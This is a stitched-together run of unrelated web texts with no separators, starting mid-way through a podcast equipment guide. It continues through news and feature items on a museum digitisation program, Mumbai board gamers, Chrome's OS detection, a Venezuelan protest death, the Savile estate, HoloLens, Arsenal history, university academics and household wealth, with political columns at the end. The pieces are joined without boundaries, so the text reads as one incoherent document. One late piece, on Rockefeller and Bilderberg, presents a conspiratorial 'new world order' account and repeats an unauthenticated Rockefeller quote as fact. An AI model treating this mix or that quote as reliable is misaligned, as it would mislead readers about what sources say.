Audio-Technica ATR2100-USB Cardioid Dynamic USB/XLR Microphone—Usually $50–$60 (and sometimes as low as $35), this mic can connect directly to any PC and mobile devices via USB, but it can also connect to professional audio equipment via XLR. It's the only microphone of its kind with a lifetime warranty. And the sound is quite good! The kit comes with the mic, a long USB cable, a thick XLR cable, a mic clip, and a small mic stand. If you can't get the ATR2100-USB affordably in your country, try the Audio-Technica AT2005USB or the Samson Q2U. These two mics have the same features and general quality of the ATR2100-USB, but they have only one-year warranties.
Electro-Voice RE320 Variable-D Dynamic Vocal and Instrument Microphone or Heil PR-40 Dynamic Studio Recording Microphone—Both of these mics are $300–$325 and produce superior sound. I think the RE320 is a little more universal for most voices, but the PR40's frequency response can be great for non-sibilant, higher-pitched voices. The RE320 is designed to reduce the proximity effect (bassy response when you get closer to the mic), and the PR40 is designed to better reject off-axis noise. (Sidenote: I can sell either of these microphones!)
2. Microphone accessories
A microphone, alone, is usually not enough for recording well. In order of priority, here are some of the accessories you might need.
Mic stand or boom—You need something to hold your mic within 4–6 inches (10–15 centimeters) from your mouth. A mic stand is similar to what you see on stages; it sits on the floor (or desk). A mic boom is like a robot arm that allows you to more easily place the mic exactly where you want it. My favorite mic boom arm is the Heil Sound PL-2T Pop filter or windscreen—A pop filter is the disc-shaped mesh that sits between you and the mic and it's best for in studios. A windscreen is the sock-like foam that fits over the microphone and it's best in portable or outdoor environments. Shock mount—Vibrations, such as typing on your keyboard, bumping your desk, or touching the mic or mic stand, can cause low-frequency noise in your recordings and sound amatuer. A shock mount suspends the microphone in a sort of spider-looking cage that absorbs the vibrations. Preamp—If you don't already have a good preamp in your recording chain, you may need to add a dedicated one. The preamp is what amplifies the microphone's signal (gain) before passing on through your audio chain. A cheap preamp will introduce a constant hiss. Quality preamps can be found in many mid- and high-end mixers, or you can add your own with a Cloudlifter CL-1, DBX 286s, or a Fethead.
3. Headphones
A good pair of headphones is important for recording for three reasons:
Hear yourself—It's important to know how you sound in the microphone. This will help you know when you're too loud, too quiet, too close, or too far. Hear what is and isn't picked up by the mic—This helps you to know whether the microphone picks up the dog outside, your sniffle off-mic, your typing, that bump on the desk, or any other nearby sound. You may sometimes be surprised what does and doesn't make its way into your recordings. Hear what you're supposed to hear—Each participant in the podcast needs to hear each other and hear any sound clips you may use.
Listen to my episode about headphones to help you pick the right pair.
4. A recorder
The audio from your microphone needs to be recorded somewhere. Here are my recommendations, in order of quality, stability, and reliability.
If you have remote guests or cohosts, then your recorder must be able to capture all of those sources. I recommend splitting yourself from your remote participants (even with a simple left-right separation for recording, but mixdown to mono for publishing).
Learn why it's a good idea to use an external digital audio recorder.
5. A mixer
A mixer isn't mandatory for a successful podcast. But a mixer can make a lot of complicated things much simpler, or enable you to do things a little better.
Most mixers give you the same basic mixing abilities:
Combine sources—Multiple microphones, soundtrack, and other inputs. Adjust volumes—Make real-time tweaks to the audio levels of any input or output. Provide preamps—Adjust the sensitivity of your microphones. Combine or separate outputs—Output to a recorder, headphones, live-streaming interface, audio-processor, VOIP or phone option, and more. Add some effects—Tweak the equalization (EQ), add some compression, or add special effects.
Learn more about mixers and whether you need one for your podcast.
6. A live-streaming interface
If you want to live-stream your show over the Internet while you're recording, then that adds an extra layer of complexity. As for your equipment, you should be able to feed all of your audio sources (you, your participants, and the soundtrack) to a single output.
If your live-streaming tool is also integrating with your remote participants (such as Blab, Hangouts on Air, Spreaker, etc.), then you may not need a separate interface.
Learn more about live-streaming from the many episodes I've done about it.
7. An audio processor
Depending on your other equipment choices and live-audio needs, you might need to consider additional audio processing.
Better preamps—Some mixers or recorders will introduce hiss on your microphone tracks, but a good preamp can reduce that
Compression—Smooth out the dynamic range between loud and quiet spots.
Limiting—Protect the audio from getting too loud and causing distortion.
Gating/expanding—Prevent noise from being captured when you're not talking.
Addition processing—De-essing, EQ, and other effects could also be done on your audio in real-time before going to your recorder.
Learn more about software vs. hardware compressors.
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The museum launched a free program—dubbed the Community Curation Program—which provides Black families with the tools and equipment needed to preserve old photographs and footage by converting them into digital records, the news outlet writes. The program is supported by the Robert Frederick Smith Fund and travels to different cities across the country. The museum also provides the same equipment at the institution in Washington. One of the project’s latest stops was at the Impact Hub Baltimore in Station North, Maryland.
“In a very radical way, we recognize the importance of these vernacular, homemade images, this folk cinema, as an alternate history to the kinds of history that the mass media tells,” museum media archivist Walter Forsberg told The Baltimore Sun. “We wanted to render a public service free of charge because we knew there was a lot of material out there trapped on obsolete formats.”
Krewasky A. Salter, another museum curator, told the news outlet that the museum hopes to include some of the images, footage, and objects in their upcoming exhibitions; stating that the content provided by families will help fill in missing gaps in history. Several families have already taken advantage of the resource. Individuals who have digitized their family mementos say that the Community Curation Program has allowed them to weave their personal family stories into the larger fabric of Black history in a significant way. “These are stories in my family, and now I can share them with others,” said Pia Jordan, assistant professor at the School of Global Journalism and Communication at Morgan State University, according to the source.
The National Museum of African American History has been dedicated to capturing the essence of all facets of Black culture. The institution is currently working on crowd fundraising for a hip-hop anthology that will delve into the influence of Black music and African American culture on the world.
The 28-year-old importer is the co-founder of Mumbai Board Gamers, a year-old group. His passion for these games started when he was struggling to clear a level on the iPhone game, Settlers of Catan. A little research led him to the original board version and connected him with fellow founder, Mohit Goel, an IIT and IIM alumnus, who was then among the few Indian members of global online forums for such games.
Maheshwari's wife Radhika was not always thrilled by the recreation but was coaxed into trying it. "Ours was an arranged marriage and board gaming just sounded like a strange hobby. But it grows on you." She is an avid player now and part of the group whose numbers have swelled from 20 to 200 since last March.
Members range from teenagers to people in their 50s including students, engineers, management professionals, designers, accountants, expats and housewives. They hurriedly wrap up work to make room for gaming time. For the bigger meets, some even take days off. These "mega" meetups are monthly affairs with 30 to 40 participants and multiple sessions that last an entire day.
Regular gamers, who meet each week, help out the new entrants. "Most strategy games are understood easily if we use monopoly as an example to explain them," says Goel. Patience is important because while the simpler games wind up in an hour or two, deep strategy games can last up to six hours. The last few hours of the meetings are reserved for party games "when no one is in the mood to really think".
He admits that a small number of newcomers are particularly difficult to teach. "They usually come in thinking it's a way to meet singles. We ask them politely not to return." The group is now 65-meetups-old and some members have since moved and formed similar teams in Bangalore, Ahmedabad and Pune.
In the United States, parents encourage children to take to board gaming because it is seen as an educational activity. It also lets them spend time with the children. The pastime witnessed a slump around the late '90s and early 2000s as more modern video games attracted people, but it made a comeback during the slowdown, when it was viewed as a cheaper recreation.
As a hobby in India, it is still young and fairly expensive. Buyers are not used to spending more than Rs 500 to Rs 1,000 for a set, says 40-year-old Goel, who also distributes these games. The rarer games are shipped from the US or Germany and are priced at Rs 1,500 to Rs 6,000 apiece. "Compared to the Xbox, where apart from spending on the console, you also have to buy game DVDs for Rs 3,000 each, this is not too costly," Goel observes.
People are not required to bring games. Maheshwari and other collectors have opened up their stocks of about 200 titles to members, who are surprised to discover that the realms of this hobby stretch far beyond Monopoly, Scrabble and Ludo into games that span continents and different ages in time. Players can contest elections, wage battles or raise prehistoric families. With smooth, shiny cardboard surfaces and tiny soldiers, animals, coins and timers intricately fashioned out of wood and plastic, the imported games are of a decidedly better quality than the ones available locally. The group also has a set of Twilight Struggle, currently the world's highest-ranked board game is based on the Cold War.
Collectors in the group use boardgamesgeek.com, described variously as "the Bible" or "the Wikipedia of board games," to discover popular titles and track upcoming releases. Yet they are careful to distinguish themselves from geeks. "People think board games are only for children or geeks and rocket scientists. Truth is anyone can get hooked," says Gaurav Agrawal, a chartered accountant who's a member.
Maheshwari has one regret after starting the group. "I have never won a game since," he says adding that playing in a group teaches one to lose graciously. "It also teaches you to savour every victory," Agrawal counters with a laugh. After the initial thrill of discovering and learning the game, it seems likely that the games would grow dull. But, "just when you think you've mastered a game, someone new will come up with strategies you had not thought of," says Radhika.
The group is still ironing out issues of space for big gatherings. They need places with tables, chairs and refreshments close at hand and malls or restaurants are not too comfortable. They have managed to make arrangements with two cafes in Matunga and Bandra as well as a mall but fewer venues have kept the frequency of meetups from increasing.
Chrome and Chromium's GTK detection code stands in for operating system detection Badly chosen warning messages caused some consternation with Google recently as its Chrome browser began declaring supported Linux systems such as Red Hat Enterprise Linux 6 obsolete. The problem was brought to public attention by Red Hat evangelist Jan Wildeboer in a Google+ posting when his browser announced "Google Chrome is no longer updating because your operating system is obsolete".
In the ensuing investigations, François Beaufort noted that the Chrome source code revealed more details about how Google worked out whether an operating system was supported – by checking the version of GTK installed. If an operating system had a GTK version earlier than 2.24, such as RHEL 6's 2.18, and Ubuntu Lucid 10.04 LTS and Debian 6's 2.20, then the system was marked as deprecated. It appears that the Google engineers had decided to use the GTK version as a proxy for the operating system version.
Google has been raising the build requirements of Chromium, the open source browser – and Chrome, their own browser based on Chromium – so that it needs a C++11 capable compiler such as GCC 4.6 or later. This means that, as of Chrome 26, there will be no more updates for Chrome on systems that can't support GCC 4.6 or later. For RHEL 6, it is possible to use a later compiler; the most recent release of Red Hat Developer Toolset 1.1 from January, includes GCC 4.7.2, but as the GTK version is used as an alternative to OS and compiler detection, if Google built the current Chrome with Red Hat's latest compiler, users would see the warning displayed.
The message is now being changed to "Google Chrome has stopped updating and no longer supports this version of your operating system". But this change doesn't alter the fact that various Chrome users on Linux will see updates stop for Chrome on their particular systems. The bug report notes "We're going to be showing this on a number of Linux versions that won't be supported as of Chrome 27".
Chrome will not, of course, stop working, but browsers are regularly patched for security flaws and most updates tend to include one or more security fixes; without updates, Chrome installations will become more vulnerable to attack. It is possible that Google will add a more nuanced OS detection mechanism to Chrome and create RHEL 6 builds which are updated, but no plan to engage in this course of action has been announced.
A Venezuelan teenager, Kluiver Roa Nunez, has been killed in the western city of San Cristobal in a protest over the worsening economic crisis.
A policeman has been arrested in connection with the death of the 14-year-old student.
The government of President Nicolas Maduro has condemned the incident and promised a full investigation.
Last year, 43 people from both sides of the political divide were killed in several months of protests.
Local reports say the student was hit in the head by a rubber bullet during a clash between hooded protesters and the police.
'Give up violence'
Home Affairs Minister Carmen Melendez confirmed the arrest of a policeman, who has been named as 23-year-old Javier Mora Ortiz.
Ms Melendez made an appeal for "peace and tranquillity" in Tachira state near the border with Colombia.
President Maduro went on national television to regret the death of the student and call for an end to violence.
Image copyright AP Image caption Supporters of the Caracas mayor, Antonio Ledezma, have called for his release from jail
Image copyright Reuters Image caption President Maduro said hatred against the government has led to dozens of deaths in Venezuela
"There is no reason for violent protests. I make an appeal to our country, and especially the young, to give up violence. Hatred will not lead to anything," he said.
"Give up all violence, lads. And rest assured that if a government official breaks the law I will be the first one to go after him."
'Right-wing coup'
Dissatisfaction with the shortage of many staples, as well as rampant crime and high inflation, led thousands of people to take to the streets in Tachira and the neighbouring state of Merida a year ago.
The protests quickly spread to the rest of Venezuela, but died down after several months.
However the economic crisis has deepened in recent months. Venezuela, a major oil exporter, has suffered with dropping prices in international markets.
New anti-government protests began last month, albeit in a smaller scale.
The opposition says the left-wing policies of the past 16 years - initiated by late President Hugo Chavez - have failed, pushing the country into economic disaster.
Mr Maduro says the opposition and right-wing sectors outside the country have been boycotting the country's economy and preparing a coup against his socialist government.
Last week, the mayor of Caracas, veteran politician Antonio Ledezma, was arrested and charged with plotting to overthrow the government.
Dallas, TX — The Dallas Independent School District is once again under fire for the way one of its school resource officers (SRO) handled a student. An unnamed SRO was attempting to break up a fight between two female students when the officer slammed the girl to the ground, fracturing her clavicle.
Cell phone footage taken by classmates at the Piedmont G.L.O.B.A.L Academy shows the officer slamming the girl, Mariana Valadez, a sixth grader, violently to the ground. Alma Valdez, the girl’s mother now wants the officer fired.
“I don’t want him to be suspended. I want him to get fired. Why is he still working with kids? He’s not capable of working with girls like that,” she said.
Adding insult to injury, the young child was also pepper sprayed, she claims. DISD said they’re conducting a thorough investigation of the incident but won’t say if or when the unnamed officer will return to duty.
Alma explained her confusion upon learning what happened to her daughter. “I was crying because I didn’t know what, how can it happen,” asked Valadez.
The officer’s move, which arguably looked more like a Judo throw than police academy tactics, injured the 12-year-old.
Mariana was suspended for three days for her role in the fight. “She’s a twelve-year-old girl,” remarked her mother.
The incident is the latest in a series of missteps by DISD SRO’s. As The Free Thought Project recently reported, a 7-year-old was placed in handcuffs for acting out in school. He’s reportedly autistic and is a special needs student.
The child was then taken without his parent’s permission to a mental health facility and kept there for six days. That’s considered kidnapping in many parts of the world, especially since the parents were reportedly not notified nor gave their consent for him to be confined there.
According to the Dallas News, “David Ramirez, an investigator hired by the family’s attorneys, said the boy was sedated at the behavioral facility and admitted without notifying a parent. He spent nearly a week there and was released Monday afternoon.”
There are two disturbing associations public schools have with nefarious entities which seem to be causing many of the legal troubles school systems are facing; their use of police officers in school, and their embrace of psychologists and social workers who together seemingly have more power than parents.
There are, however, conscientious police officers who work in public schools as SRO’s and who don’t behave in like manner when confronted with troubled teens and children.
As TFTP reported last week, one NC SRO disarmed a would-be mass killer simply by treating the suspect as a person, simply having a conversation with him.
SRO’s need to be trained in de-escalation techniques instead of relying on their police training. It appears as though the DISD needs to employ such people to handle security in-house.
When law enforcement gets involved in school matters, kids are mistreated, treated inhumanely, and sometimes killed by officers trained to work with adults. Unfortunately, we write too many stories of SRO’s who choke, knock out teeth, slam, throw and shoot children without any due process occurring.
Lawyers rack-up six-figure bill as they squabble over compensation deal
Believed to be around 500 victims who could each claim up to £60,000
Public purse will underwrite claims not covered by Savile's £3.3m estate
Jimmy Savile, who died in 2011. Expensive litigation threatens to engulf his entire £3.3million legacy
Taxpayers face a growing bill for Jimmy Savile’s crimes because of a bitter and expensive dispute over his estate.
Lawyers have already racked up six-figure costs as they squabble over the compensation scheme for victims of the sick sexual predator who died in 2011.
The expensive litigation, which has already dragged on for 20 months, threatens to engulf his entire £3.3million legacy.
Health Secretary Jeremy Hunt has said the public purse will underwrite any claims not met by Savile’s estate, for which NatWest is the executor.
This could be extremely costly as compensation could run into tens of millions of pounds.
Law firms have already taken on almost 200 victims but there are believed to be around 500 in total who could each claim up to £60,000 compensation – giving a maximum bill, in theory, of £30million.
However, many will receive far less than £60,000 while others may not choose to claim at all.
Nevertheless, the latest explosion of disgust over Savile’s vile activities in hospitals over almost 50 years is likely to motivate another wave of people to come forward.
It emerged this week that Savile boasted of stealing glass eyes from bodies, performed sex acts on corpses and may even have been involved in the death of a teenage girl.
One source close to the legal row said: ‘The legal fees on both sides are huge and the lawyers for the estate are fighting it every step of the way.
'It is the bank doing everything it can to protect the money and themselves from the possible impact of the compensation claims.’
Another added: ‘We are trying our hardest to make sure legal costs do not swallow the estate, but invoices worth hundreds of thousands have already been paid out.’
The bitter dispute brought all parties to the High Court earlier this year as they fought to thrash out an acceptable compensation scheme.
Law firms have already taken on almost 200 of Savile's (pictured) victims but there are believed to be around 500 in total who could each claim up to £60,000 compensation - giving a maximum bill, in theory, of £30million
Mr Justice Sales sanctioned a scheme brought forward by NatWest, which does not guarantee payouts but creates a ‘sliding scale’ framework within which claims can be judged on their merits.
The money will be paid out from Savile’s estate, if any is left, and the coffers of the NHS, Department for Education and BBC, all of which have been accused of turning a blind eye to his crimes.
Savile’s estate has been frozen but his will left £20,000 between 20 friends, family and neighbours.
The money will be paid out from Savile's estate, if any is left, and the coffers of the NHS, Department for Education and BBC (pictured), all of which have been accused of turning a blind eye to his crimes
A further £600,000 was set aside for a trust fund which benefited eight people, and the remainder was to be held on behalf of the Jimmy Savile Charitable Trust.
A NatWest spokesman said: ‘The estate is under the overriding supervision of the High Court and we will continue to do everything possible to support a resolution that is in the interests of all parties.
The original episode, which aired on October 11, 1996, followed FBI Agents Mulder and Scully as they investigate a dead infant buried in a field near the town of Home, Pennsylvania. They eventually discover that the infant belongs to the Peacock family and is a product of incest between three brothers and their quadruple-amputee mother who lives under a bed. The episode was praised for its violent moxie and its dark satire of the ideas of motherhood and the American dream. It’s also the only time during the series when Scully tries to quote the film Babe while moving a pig.
Now, TV Line has learned that the second episode of Fox’s revival is called “Home Again,” which has prompted speculation that the episode is a direct sequel to “Home.” Furthermore, “Home Again” was written by James Wong, one of the writers of the original episode, a fact that invites even more sequel conjecture.
The decision to skip version 2 and go straight to 3 is according to a report on February 19 from Brad Sams on Thurrott.com. Sams cites multiple anonymous sources as saying Microsoft's next HoloLens release is two years away.
Microsoft isn't confirming or denying Sams' report. The official "we don't need any stinkin' roadmaps" comment from a company spokesperson:
"Mixed reality is the future of computing, and Microsoft HoloLens is the future and present of mixed reality. Our commitment requires no roadmap."
Microsoft first showed off its HoloLens augmented-reality device in early 2015. Microsoft management decided to make businesses, rather than games/consumers, the initial target for HoloLens. Last year, Microsoft made available two commercial versions: A Development Edition for $3,000 and a Commercial Suite bundle for $5,000.
Last Summer, Microsoft began shifting the conversation about the HoloLens, emphasizing that the future of holographic devices was more about mixed reality than augmented reality. In the mixed-reality world, users would be able to use untethered HoloLens headsets and/or much cheaper virtual reality headsets made by third-party partners that would run the Windows Holographic shell and be tethered to PCs.
Sources of mine said Microsoft has shown off HoloLens 2 hardware to some under non-disclosure. However, Microsoft didn't show its Most Valuable Professional (MVP) partners second-generation HoloLens devices in November 2016. I'd heard from several contacts that Microsoft's plan was to release HoloLens 2 hardware in the early part of 2017, which was later than officials originally had hoped and planned.
If Sams' report is correct, Microsoft recently changed course and decided to drop the planned HoloLens 2 device. Sams' sources say that the company may have done so because augmented-reality devices from competitors like Apple and Magic Leap are not likely to pose a threat this year or next.
Microsoft's plan for HoloLens mirrors its Surface strategy in many ways. Microsoft's goal in making its own headsets wasn't to sell lots of low-cost devices. It was to create a differentiated device that would be inspirational to its third-party partners. Microsoft officials have said publicly that the company has sold "in the thousands" (not hundreds of thousands) of HoloLens devices to date. I don't have a sense if this number is seen by management as great, expected or underperforming.
Microsoft and partners like Acer, Asus, Dell, HP and Lenovo are expected to make available to select developers early versions of tethered VR headsets that work with PCs running Windows 10 Creators Update at the Game Developers Conference, which kicks off February 27.
On 9 May 1891 the members of Royal Arsenal Football Club caused a sensation on the London football scene when they voted to turn professional. The governing body for football in London were staunchly amateur, heavily influenced by the “old boys” network of public schools.
Royal Arsenal had been forced into this situation after losing a number of their players to the professional clubs in the Midlands and the North. Being the best club in London and the South had led to them becoming victims of their own success.
Rumours had been reported in the newspapers for some time, and on this particular date William Jackson, on behalf of the committee that managed the club, put forward a motion to adopt professionalism. This was carried by a huge majority of 250 to 10.
The report of the meeting below is taken from the Woolwich Gazette on 15 May 1891. It may look long and a bit boring but it’s worth a read just to get a feel of how news used to be reported: plenty of facts and no tittle-tattle.
If you have read about the club’s early history you may notice that there is no mention of Jack Humble proposing the motion and saying:
“The club (has been) carried on by working men and it is my ambition to see it carried on by them.”
This is because he didn’t say it at this meeting. His short speech came at the annual general meeting on 23 May 1891 and it was in response to the proposal that a limited company be formed to handle the club’s affairs. His view was that this was not necessary at this time, which is reflected in his words and makes more sense than it being in response to adopting professionalism.
Another one to add to our list of
This is just one part of the story of Arsenal’s journey that saw them become the first professional team in London which was incredibly significant to football not just in the South but across the whole of England. The full story will be told in our forthcoming book – Royal Arsenal : From the Common to the Manor – which will be published later this year.
Don’t forget to subscribe to the blog (top right). You know it makes sense.
The network has experience hosting competitive cat content. Since 2014, Hallmark Channel has aired their annual Kitten Bowl head-to-head with the Super Bowl (and Animal Planet’s long-running Puppy Bowl). This summer’s program will feature more than 100 "cat-letes" competing in events such as wrestling, tennis, volleyball, gymnastics, track and field, and "boxing" (as in, kittens climbing into boxes).
Like the actual Olympics, the games will include big-name competitors like Cat Lewis, Hissing Bolt, Nadia Come N’ Scratch Me, and Pawdre Ag-Hissy. If you understood even half those references, a sporting event centered on cats may be right up your alley.
The Kitten Summer Games premieres at 8 p.m. Eastern Time on Friday, August 5. For a preview of the adorable action, you can check out the clip above.
[h/t Entertainment Weekly]
All images courtesy of YouTube.
She lived at a time when people were more conscious of the fallen nature of men and women. People were held to be inherently sinful, and to be a decent person one had to struggle against one’s weakness.
Photo
In the mental sphere, this meant conquering mental laziness with arduous and sometimes numbingly boring lessons. It meant conquering frivolity by sitting through earnest sermons and speeches. It meant conquering self- approval by staring straight at what was painful.
This emphasis on mental character lasted for a time, but it has abated. There’s less talk of sin and frailty these days. Capitalism has also undermined this ethos. In the media competition for eyeballs, everyone is rewarded for producing enjoyable and affirming content. Output is measured by ratings and page views, so much of the media, and even the academy, is more geared toward pleasuring consumers, not putting them on some arduous character-building regime.
In this atmosphere, we’re all less conscious of our severe mental shortcomings and less inclined to be skeptical of our own opinions. Occasionally you surf around the Web and find someone who takes mental limitations seriously. For example, Charlie Munger of Berkshire Hathaway once gave a speech called “The Psychology of Human Misjudgment.” He and others list our natural weaknesses: We have confirmation bias; we pick out evidence that supports our views. We are cognitive misers; we try to think as little as possible. We are herd thinkers and conform our perceptions to fit in with the group.
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But, in general, the culture places less emphasis on the need to struggle against one’s own mental feebleness. Today’s culture is better in most ways, but in this way it is worse.
The ensuing mental flabbiness is most evident in politics. Many conservatives declare that Barack Obama is a Muslim because it feels so good to say so. Many liberals would never ask themselves why they were so wrong about the surge in Iraq while George Bush was so right. The question is too uncomfortable.
There’s a seller’s market in ideologies that gives people a chance to feel victimized. There’s a rigidity to political debate. Issues like tax cuts and the size of government, which should be shaped by circumstances (often it’s good to cut taxes; sometimes it’s necessary to raise them), are now treated as inflexible tests of tribal purity.
To use a fancy word, there’s a metacognition deficit. Very few in public life habitually step back and think about the weakness in their own thinking and what they should do to compensate. A few people I interview do this regularly (in fact, Larry Summers is one). But it is rare. The rigors of combat discourage it.
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Four University of Louisville athletic teams are among the nation's leaders within their sport in the most recent multiyear Academic Progress Rate (APR) data released by the NCAA.
UofL's men's basketball, men's cross country, women's golf and softball teams are among the top 10 percent in their respective sports in the latest APR, which measures academic eligibility, retention and graduation for student-athletes. All four sports programs have a perfect 1000 score for the most recent four-year period from 2010-14
"Every coach strives for not only excellence on the court, but for excellence in academics," said UofL Head Coach Rick Pitino. "The work that our academic staff does with our players is first class and our players are committed. (UofL Director of Academic Services) Anthony Wrightand our student-athletes have done a great job in making us all very proud of their accomplishments."
Over the four-year period of this multiyear APR report, Louisville's academic success has come while winning a combined 121 games -- the second-most in the nation in that stretch -- and the Cardinals won the 2013 NCAA Championship and reached the 2012 Final Four.
While the University of Louisville men's basketball team has performed well on the court, the Cardinals have excelled in the classroom as well. The Cardinals earned a collective 3.26 grade point average for the 2014-15 academic year and the team has produced around a 3.0 or better GPA for 14 consecutive semesters. Louisville placed a league-high seven individuals on the 21-member 2015 ACC All-Academic Team. Senior forward Wayne Blackshear was a Capital One CoSIDA Academic All-America second team selection, the Cardinals' second such selection in the last three years (also Peyton Siva, 2013).
NEW YORK (CNNMoney.com) -- Household net worth fell sharply in the second quarter, ending a string of four straight quarters of gains, according to a Federal Reserve report Friday.
The report shows a $1.5 trillion loss in combined household net worth in the period, to $53.5 trillion. That represented a 2.8% drop in total wealth owned by American consumers after all their debt is considered.
Most of the loss came from a $912 billion decline in the value of individual stocks, a $650 billion drop in the value of retirement savings and a $295 billion drop in mutual funds. The Standard & Poor's 500 index slid about 12% during the quarter. But the index has rebounded about 9% since the end of the quarter.
"Despite this setback, we expect net worth to rebound further in the future as the recovery in the labor market continues," said Theresa Chen, an economist with Barclays Capital, in a note to clients Friday.
Real estate bucked the trend by growing by $46 billion, but that was only a 0.3% improvement. Of almost as great a help to household balance sheets was a cutback in debt. Mortgage loans held by consumers declined $49.3 billion, while outstanding consumer loans fell by $15.4 billion.
The tomb was unearthed near the Kum-Döbö village in Kochkor district in excavations carried out to uncover monuments built during the Karakhanid Khanate (804-1212).
Dr. Osman Eravşar from Akdeniz University said that they found the five-meter-deep tomb with a square bottom in Naryn, known to be an important settlement during the Karakhanid era.
"This is the first time we've encountered such a structure in Kyrgyzstan. Along with this discovery, there are signs that there are also other structures [hidden] in this region," he said, adding that the unearthed tomb represented the Karakhanids' transition from cairns to elaborate mausoleums.
Eravşar said the excavation was still in the early ages and that only 70 percent of the tomb had been unearthed. He added that the next stage will be to conserve and restore the historic structure.
Kyrgyzstan-Turkey Manas University Faculty of Literature History Department Professor Dr. Kubatbek Tabaldiyev said they were trying to identify whom the tomb belonged to but they had still not found a headstone to confirm.
Tabaldiyev stressed that the revealing of the historical architectural structure - with the support of Turkey- was a crucial discovery not only for Kyrgyzstan and Turkey but for the countries and peoples of the entire Central Asian region.
By Mark Anderson
When David Rockefeller passed away March 20 at the age of 101, the last of the five grandsons of oil titan John D. Rockefeller—besides David, they were John D. III, Winthrop, Lawrence and Nelson—left behind a “new world order,” something that this oil-and-banking dynastic family labored so heavily to build.
It’s instructive to keep in mind that Rockefeller, whose NWO efforts were partly done through his longtime presidency of Chase Manhattan Bank, was instrumental in solidifying the influence of the infamous Bilderberg Group.
Bilderberg is a highly secretive deep-state clique. It was formed in Holland in 1954 and meets annually in the most exclusive resorts, bringing together former and current government finance ministers, former and current NATO and other military heads, high-technology gurus, futurists, select royalty, top corporate titans, “think-tankers,” central bankers, and current and former legislators. It also includes carefully vetted media that participate in the Bilderberg meetings but honor their pledge not to report on the proceedings.
The meetings are surrounded by heavily armed private security guards and police forces. No other think tank or private consortium behaves in this manner.
Notably, there’s preliminary evidence that Bilderberg will return to the U.S. this year, possibly in Virginia, as it did in 2012. But as of this writing, that was not confirmed.
Rockefeller died the very day that the House Select Committee on Intelligence began probing whether Trump campaign officials and appointees and sundry allies colluded with Russian officials. The committee is seeking to confirm whether Russia indirectly hacked the Democratic National Committee’s emails as well as those of John Podesta when he headed up Hillary Clinton’s campaign for president.
The apparent end-goal is to prove that Donald Trump would not have won the 2016 presidential election without Russia hacking emails and using the information to discredit Hillary Clinton and help ensure her loss.
Most of the committee’s members—gathering the spotty testimony of FBI Director James Comey and NSA Director Mike Rogers—are alleging that private citizens (such as former Trump National Security Advisor Michael Flynn, longtime Republican strategist Roger Stone, and several others) in some manner colluded with Russia to discredit Mrs. Clinton and to influence U.S. policy toward Russia prior to Trump’s Jan. 20 inauguration.
Ironically, the Bilderberg meetings, which the late Rockefeller was so instrumental in advancing, have for the last 63 years provided a perfect platform for U.S. citizens and U.S. government officials to curry favor, make deals, and share information with various current and former foreign government officials, central bankers, and high-level corporate heads from several nations—behind closed doors.
Interestingly, the Logan Act, a 1798 U.S. law that prohibits U.S. citizens from engaging in private deal-making and diplomacy with foreign officials, has been dusted off by intelligence committee members, who claim that some Trump allies have broken that law.
As AFP has established after decades following Bilderberg, it’d be much safer to say that the Bilderberg consortium has routinely skirted or broken the Logan Act. But when AFP contacted the FBI, CIA, and other federal agencies in writing four years ago about Bilderberg’s intrigues, and to find out whether U.S. tax dollars helped U.S. officials attend Bilderberg meetings, rather cryptic replies, professing utter denial of Bilderberg’s significance, arrived in AFP’s mailbox—even though the CIA itself played a role in Bilderberg’s formation.
Rockefeller was clearly aware that key media outlets involved in Bilderberg’s deep-state matrix—outlets that today are out for blood regarding the Trump White House—have long aided and abetted international intrigue and private collusion via their connection to the powerful global group.
Indeed, long before claims about “fake news” surfaced, Rockefeller, during the 1991 Bilderberg meeting in Baden-Baden, Germany, was reported to have said: “We are grateful to The Washington Post, The New York Times, Time magazine and other great publications whose directors have attended our meetings and respected their promises of discretion for almost 40 years . . . It would have been impossible for us to develop our plan for the world if we had been subjected to the lights of publicity during those years. But the world is more sophisticated and prepared to march toward a world government.”
While Rockefeller presided over the Bilderberg-connected Council on Foreign Relations (CFR) think tank in the 70s and 80s, and while he remained a highly honored and influential CFR apparatchik for the rest of his life, this and other admissions of his showed that the real collusion—the kind that the FBI and NSA should truly take an interest in—has been happening in an ongoing fashion among globalist cliques and is hardly limited to whoever’s in the White House.
As Rockefeller later wrote in his dull tome, Memoirs: “Some even believe we are part of a secret cabal working against the best interests of the United States characterizing my family and me as ‘internationalists’ and conspiring with others around the world to build a more integrated global political and economic structure—one world, if you will. If that’s the charge, I stand guilty, and I am proud of it.”
Over the past several years, there’s been this trend of rebooting a title with a really gritty and serious tone. Things like Batman and Transformers are examples of cartoony titles that went down some really dark paths.
And now Jeff Zoet Visuals is imagining a world where Scooby Doo gets that same treatment and has to take on a ton of zombies! In fact, he took some pictures of the “Mystery Incorporated” gang to show what they would look like in this apocalyptic setting.
To be 100% clear, this is not officially happening. Jeff Zoet is a freelance artist, photographer, editor, cinematographer, and more, who put this together as part of a photo shoot, nothing more. However, after seeing the look that he’s got going on, I’d be all for a studio giving him some money and letting him go hog wild with this concept!
House Speaker Paul D. Ryan (R-Wis.) and Senate Majority Leader Mitch McConnell (R-Ky.). (Pablo Martinez Monsivais/Associated Press)
Opinion writer
If you thought that the tax bill was bad before, the process rushed and secretive, wait until the final version gets jammed through days from now, with no score, no hearings and no understanding among most Republicans of what’s actually in the bill. The details remain sketchy, but it’s clear that the GOP figured out how to tip the bill even further in favor of the super-rich.
The Post reports:
House and Senate Republican leaders have reached an agreement in principle that would lower the corporate tax rate to 21 percent beginning in 2018, several people briefed on the plan said, a central component of the $1.5 trillion tax plan they hope to vote into law by next week. The agreement would also lower the top tax rate for families and individuals from 39.6 percent to at least 37 percent, a change that would deliver a major tax cut for upper-income households. . . . Democrats mounted a last-ditch effort to pressure the GOP to delay votes on the bill, arguing they should wait for Democrat Doug Jones — who defeated Republican candidate Roy Moore on Tuesday in an Alabama special election for a U.S. Senate seat — to join the chamber. But Republicans rebuffed those attempts and are hoping to pass a final bill early next week.
If anything, Jones’s upset win in Alabama has stoked panic in the GOP ranks, not that their bill is a dud but that they must jam it through before Jones arrives.
I asked Sen. Susan Collins’s (R-Maine) office whether she felt compelled to wait for Jones. “Senator Collins doesn’t believe that the Alabama election should delay the timetable for tax reform,” her communications director, Annie Clark, said. ” The Senate has always planned to pass the tax bill before the end of the year, regardless of whether Moore or Jones won. Alabama will continue to be represented by Senator Strange until the election is certified, which might not be until after Christmas. It is typical for lame-duck members to continue voting until their replacements are sworn in.” Uh-huh.
